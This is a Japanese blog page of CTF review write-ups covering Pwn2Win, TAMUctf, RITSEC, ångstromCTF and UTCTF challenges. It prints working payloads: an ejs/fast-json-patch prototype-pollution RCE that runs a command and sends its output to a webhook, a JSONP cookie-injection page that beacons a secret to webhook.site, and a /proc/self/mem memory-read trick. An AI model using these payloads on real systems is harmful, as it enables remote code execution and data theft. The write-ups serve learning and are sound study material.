セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

Pwn2Win CTF 2021 illusion(prototype pollutionとか)

まえおき

復習用に書いているので、writeupが見たい方はこちらをご覧ください。基本的にここのものを参考にしています。

Pwn2Win CTF 2021 - Illusion · Issue #35 · aszx87410/ctf-writeups · GitHub

https://ctftime.org/writeup/28600

https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/

illusion

問題ページへは5分ごとにリセットされる環境を各個人に割り当てられる方式で、出題。他ユーザに影響がありそうなものなので、prototype汚染を使いそうだった。 ソースコード

const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')


const app = express()

// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

/////////////////

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

// Static folder
app.use("/static", express.static(__dirname + "/static"));

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  


解法は/change_statusに次のペイロードを投げる。

{
    "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhookhogehoge/.......?q=${flag}`);req.end();//"
}

もしくは、child_processのモジュールを呼び出して、リバースシェルを貼るなど。

ejsのprototype pollution

基本的なペイロードとして次のものがある。

Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch 1');x";

これはejsrenderFileメソッド内で恐らくoutputFunctionNameが呼ばれるので、これにフックする形でペイロードを実行している。(はず)この辺りを参照するとそれっぽい気がします。

https://blog.effectrenan.com/pwn2win-2021-illusion-web-challenge/の「AST injection in ejs」あたり

ejs/ejs.js at c594d0e099f564f22099f6b9cc4317b0fec7bfe8 · mde/ejs · GitHub


試してみる

const express = require('express')
const ejs = require('ejs')

const app = express()

app.get("/", async (req, res) => {
    Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pollutedfilename');x";
    const html = await ejs.renderFile("./index.ejs")
    res.end(html)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls
index.ejs  index.js  node_modules  package.json  package-lock.json
kali@kali:~/ctf/pwn2win/web1/illusion/src$ node index.js
App listening at port 1337

http://localhost:1337/にアクセス

^C
kali@kali:~/ctf/pwn2win/web1/illusion/src$ ls
index.ejs  index.js  node_modules  package.json  package-lock.json  pollutedfilename

touchが実行されてファイルが生成されています。

fast-json-patch

こちらのprototype汚染の情報はgithubのプルリクにあったようです。こういうのは見落とすの良くないですね。

Security Fix for Prototype Pollution - huntr.dev by huntr-helper · Pull Request #262 · Starcounter-Jack/JSON-Patch · GitHub

「復習」TAMUctf 2021

あらまし

web?カテゴリのdelfiという問題のソルバーを作者がdiscordに貼っていたので、ざっと備忘録です(僕が書いたわけじゃないのでここには載っけません。)

問題

配られたソースコード。サーバに/oracle/home/delfi/bin/delfi?offset=0&size=-1こんな感じでアクセスする。

use hyper::Body;
use serde_derive::*;
use std::cmp::min;
use std::convert::{Infallible, TryInto};
use std::fs::File;
use std::os::unix::fs::FileExt;
use std::path::PathBuf;
use tokio::process::Command;
use warp::filters::path::Tail;
use warp::hyper::StatusCode;
use warp::{http::Response, Filter, Reply};

#[derive(Deserialize, Serialize)]
struct FileOptions {
    offset: usize,
    size: isize,
}

#[tokio::main]
async fn main() {
    let flag = Command::new("get_flag").output().await.unwrap().stdout;

    let oracle = warp::path("oracle").and(
        warp::path::tail()
            .and(warp::query::<FileOptions>().map(Some).or_else(|_| async {
                Ok::<(Option<FileOptions>,), std::convert::Infallible>((None,))
            }))
            .map(|file: Tail, options: Option<FileOptions>| {
                let path = PathBuf::from(format!("/{}", file.as_str()));
                if path.exists() {
                    match File::open(path.clone()) {
                        Ok(f) => {
                            let (offset, size) = if let Some(options) = options {
                                (options.offset, options.size)
                            } else {
                                (0, -1)
                            };
                            println!(
                                "Reading {} with at offset {} with size {}",
                                path.display(),
                                offset,
                                size
                            );
                            let mut pos = offset;
                            // oops, chunked responses aren't a thing that exist!
                            // looks like we'll have to do it ourselves... again
                            Response::new(Body::wrap_stream(futures::stream::iter(
                                std::iter::from_fn(move || {
                                    let size = if size >= 0 {
                                        min(4096, size as usize - (pos - offset))
                                    } else {
                                        4096
                                    };
                                    if size == 0 {
                                        None
                                    } else {
                                        let mut buf = vec![0u8; size];
                                        match f.read_at(buf.as_mut(), pos.try_into().unwrap()) {
                                            Ok(s) => {
                                                if s == 0 {
                                                    None
                                                } else {
                                                    pos += s;
                                                    buf.truncate(s);
                                                    Some(buf)
                                                }
                                            }
                                            Err(e) => {
                                                eprintln!(
                                                    "Error while processing {}: {}",
                                                    path.display(),
                                                    e
                                                );
                                                None
                                            }
                                        }
                                    }
                                })
                                .map(Result::<_, Infallible>::Ok),
                            )))
                        }
                        Err(e) => {
                            eprintln!("Error while opening {}: {}", path.display(), e);
                            warp::reply::with_status(
                                warp::reply(),
                                StatusCode::INTERNAL_SERVER_ERROR,
                            )
                            .into_response()
                        }
                    }
                } else {
                    warp::reply::with_status(warp::reply(), StatusCode::NOT_FOUND).into_response()
                }
            }),
    );

    let default = warp::get().map(|| Response::builder()
        .header("Content-Type", "text/html;encoding=UTF-8")
        .body(format!(
            "Ask the <code>/oracle</code> for a file, e.g., <a href=\"/oracle{0}?offset=0&size=-1\"><code>/oracle{0}?offset=0&size=-1</code></a>.",
            std::env::current_exe().unwrap().display()
        ))
    );

    warp::serve(oracle.or(default))
        .run(([0, 0, 0, 0], 3030))
        .await;

    drop(flag);
}

解き方

2回こんな感じでアクセスする

①/oracle/proc/self/maps
②/oracle/proc/self/mem?offset={offset}&size={size} # offset,sizeには上で求めた値を入力

①はマッピングしている仮想メモリの領域を表示してくれるやつ、領域の開始と終了を得られるのでheapの開始と終わりまでのサイズを計算できます

# http://delfi.tamuctf.com/oracle/proc/self/maps

55f2167e0000-55f216811000 r--p 00000000 08:01 6291638                    /home/delfi/bin/delfi
55f216811000-55f216982000 r-xp 00031000 08:01 6291638                    /home/delfi/bin/delfi
55f216982000-55f216a0a000 r--p 001a2000 08:01 6291638                    /home/delfi/bin/delfi
55f216a0a000-55f216a29000 r--p 00229000 08:01 6291638                    /home/delfi/bin/delfi
55f216a29000-55f216a2c000 rw-p 00248000 08:01 6291638                    /home/delfi/bin/delfi
55f21708e000-55f2170af000 rw-p 00000000 00:00 0                          [heap]

... snip ...

7ffe456b6000-7ffe456b8000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

②は指定したメモリ内のデータを拾えるので、その得られた開始アドレスとサイズを使ってフラグを取得するようです。 94498257039360-94498256904192=135168

http://delfi.tamuctf.com/oracle/proc/self/mem?offset=94498256904192&size=135168

f:id:thinline196:20210427114257p:plain

「復習」RITSEC CTF 2021 webとかosintとか

revolution(web)

問題文(多分最初はこれだけだった)

The robots are taking over. They are posting their propaganda everywhere. Go here to find out more about it.

34.69.61.54:8799

問題ソース

<!-- templates/index.html -->
<html>
  <head>
    <title>Robots Are Taking Over</title>
  </head>
  <body style="background-color:black;">
    <center>
        <h1 style="color:white">Watch Out for Propoganda!!!</h1>
        <p style="color:white">
          The robots claim to be a lot of things, pay close attention.</p>

        <h2 style="color:white">Friendly</h2>
        <img src="/static/img/friendly.jpg" style="width:500px;height:500px;">
        <p style="color:white">
            They pretend to be friendly to all humans</p>
        <br>

        <h2 style="color:white">Caring</h2>
        <img src="/static/img/caring.jpg" style="width:500px;height:500px;">
        <p style="color:white">
            They act caring like they want to help us.</p>
        <br>

        <h2 style="color:white">Laws</h2>
        <img src="/static/img/threelaws.gif" style="width:500px;height:500px;">
        <p style="color:white">
            They claim to follow the three main laws of robots.</p>
        <br>

        <h2 style="color:white">Protect</h2>
        <img src="/static/img/robocop_1987.jpg" style="width:500px;height:500px;">
        <p style="color:white"> 
            They offer to protect us from danagers ... but they are the danger.</p>
        <br>

        <h2 style="color:white">NOTE:</h2>
        <p style="color:white"> 
            Send me the right crafted message and you can join the revolution. Only then can we unlock your full potiential.</p>
        <br>
    </center>
  </body>
</html>

解き方

curl -v -X UNLOCK 'http://34.69.61.54:8799/revolution' -H 'Content-Type:plain/text' -A 'Robot-Queto-v1.2' --data "FriendlyCaringLawsProtectNote"

これは解けない...(user-agentは前の問題から推測は可能)

Data Breach(INTEL)

前の問題でlinkedinのアカウントが見つかるのでそこに書いてあるメアドで検索をかけると出てくる。"incogeno@gmail.com"と「"」で囲ってやらないとだめ。 f:id:thinline196:20210412203318p:plain

Music Signs(INTEL)

twitterで見つかるアカウントのbioにあったプレイリストの曲の頭文字を上から取ってフラグにするらしい。。 f:id:thinline196:20210412203018p:plain

?「乙女かよ」

「復習」ångstromCTF jason

はじめに

作問者のwriteupを見て、備忘録・メモとして残してます。writeupが見たい方は本家のをどうぞ。

ångstromCTF 2021 solve scripts · GitHub

jason (web)

f:id:thinline196:20210408231134p:plain 問題コード一部

const puppeteer = require('puppeteer')
const fs = require('fs')

async function visit(url) {
    const browser = await puppeteer.launch({ args: ['--no-sandbox'] })
    var page = await browser.newPage()
    await page.goto(process.env.URL)
    await page.waitForSelector('input[value="CLEAR"]')
    for (let i = 0; i < process.env.PASSCODE.length; i++) {
        await Promise.all([
            page.waitForNavigation(),
            page.click(`input[value="${process.env.PASSCODE[i]}"]`)
        ])
    }
    await page.goto(url, { waitUntil: 'networkidle2' })
    await page.close()
    await browser.close()
}

module.exports = { visit }
app.post('/passcode', function (req, res) {
    if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=')
    else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)
    return res.redirect('/')
})

app.post('/visit', async function (req, res) {
    if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)}
    return res.redirect('/')
})


app.get('/flags', sameOrigin, function (req, res) {
    if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403)
    res.jsonp({category: 'flags', items: [process.env.FLAG]})
})

トップの数字を入力するとcookiepasscodeとして値が登録されていく。adminに踏ませたいサイトを入力フォームから指定できる。jsonpを使うところまではわかったんですが、cookieがクロスドメインなアクセスだと付与されないので、ただ単にfetchしただけではだめでした。


cookieが付与される様子。

POST /passcode HTTP/1.1
Host: jason.2021.chall.actf.co
Origin: https://jason.2021.chall.actf.co
...snip...

passcode=1


HTTP/1.1 302 Found
Location: /
Set-Cookie: passcode=1
...snip...

writeup

引用元;ångstromCTF 2021 solve scripts · GitHub

# jason_1.html
<script>
function load (data) {
    navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0])
}
if (!localStorage.done) {
    w = window.open('jason_2.html')
    setInterval(function () {
        try { w.location.href }
        catch (e) { localStorage.done = true; location.reload() }
    }, 10)
}
</script>
<script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script>
# jason_2.html
<form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form">
    <input type="hidden" name="passcode" value="; SameSite=None; Secure">
</form>
<script>form.submit()</script>

次のコンテンツを自サーバで公開して、adminにふませる。/passcodeへのアクセスで付与されるcookieは特に属性が指定されていないのでSameSite=Laxが指定されます。これは、トップレベルナビゲーションでのアクセスでは、クロスサイトなドメインへのcookie送信が可能な状況にあるようです。

SameSite cookies - HTTP | MDN

アドレスバーに表示されているURLの変更が伴う遷移のことです(リクエストを送信したら、送信先のページに画面が遷移する場合)

引用:HTTP クッキーをより安全にする SameSite 属性について (Same-site Cookies) – ラボラジアン Cookie の性質を利用した攻撃と Same Site Cookie の効果 | blog.jxck.io

Popup Windowなどはトップレベルナビゲーションとなると書いてありますが、恐らくjason_2.htmlのPOSTでそのwindow.open('jason_2.html')で開いたページが遷移するので、上記の解説を鵜呑みにして良いのであれば、このPOSTがトップレベルナビゲーションとなるのでしょう(多分)

問題の肝は、/passcodeにPOSTしたデータがそのままcookieの末尾に付与される点。SameSite=None; Secureとすることで、クロスオリジンなリクエストでもcookieが付与されるようになります。つまり、jason_1.htmlからのfetchでもcookieが付与されるようになるので、/flagへのリクエストでフラグが返されてきます。あとはjsonpで自分のたてているサーバなどにあたいを送って終了のようです。


SameSite=None; Secureに関してはこちら。

SameSite Frequently Asked Questions (FAQ) - The Chromium Projects

今回上手くまとめられなかった

「復習」UTCTF2021

初めに

個人的な復習なので、Writeupが読みたい方はこちらに行った方が欲しい情報が得られると思います、、

Hack Bob's Box

FTPとデータのコネクションを貼るためにパブリックなIPが必要そうでした。FTPのところだけメモしておきます。

FTP PORTモード(アクティブモード) TCP/IP入門

# FTPに接続
$ nc 3.236.87.2 8121
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 15:39. Server port: 21.
220-Only anonymous FTP is allowed here
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER anonymous #入力
230 Anonymous user logged in
PORT  35,72,157,68,10,10 #入力(awsで割り当てられたクライアントのパブリックIPとポートを指定)
200 PORT command successful
LIST #入力
150 Connecting to port 2570
226-Options: -a -l
226 6 matches total

PORT xx,xx,xx,xx,xx,xxはアクティブモードでのサーバ→クライアントのデータコネクションの確立をするコマンド。なので、当然指定した場所で待ち受けなければならない。

$ nc -lnvp 2570
Listening on 0.0.0.0 2570
Connection received on 3.236.87.2 20
drwxr-xr-x    1 0          0                4096 Mar 12 18:53 .
drwxr-xr-x    1 0          0                4096 Mar 12 18:53 ..
drwxr-xr-x    3 0          0                4096 Mar 12 18:53 .mozilla
drwxr-xr-x    2 0          0                4096 Mar 12 18:53 .ssh
drwxr-xr-x    2 0          0                4096 Mar 12 18:53 docs
drwxr-xr-x    2 0          0                4096 Mar 12 18:53 favs

上にも書いた通り、ホストからこちらに接続するため、パブリックIP(IPv6でも行けるかも?)が必要でした。 ALG (アプリケーション レイヤ ゲートウェイ)をルータで設定すれば行けるかも?
インターネットでFTPに接続するサービスを提供するページで何とかすることもできたらしい。

FTP and SSH online - upload, edit, copy, move, rename & more

f:id:thinline196:20210316210754p:plain f:id:thinline196:20210316210811p:plain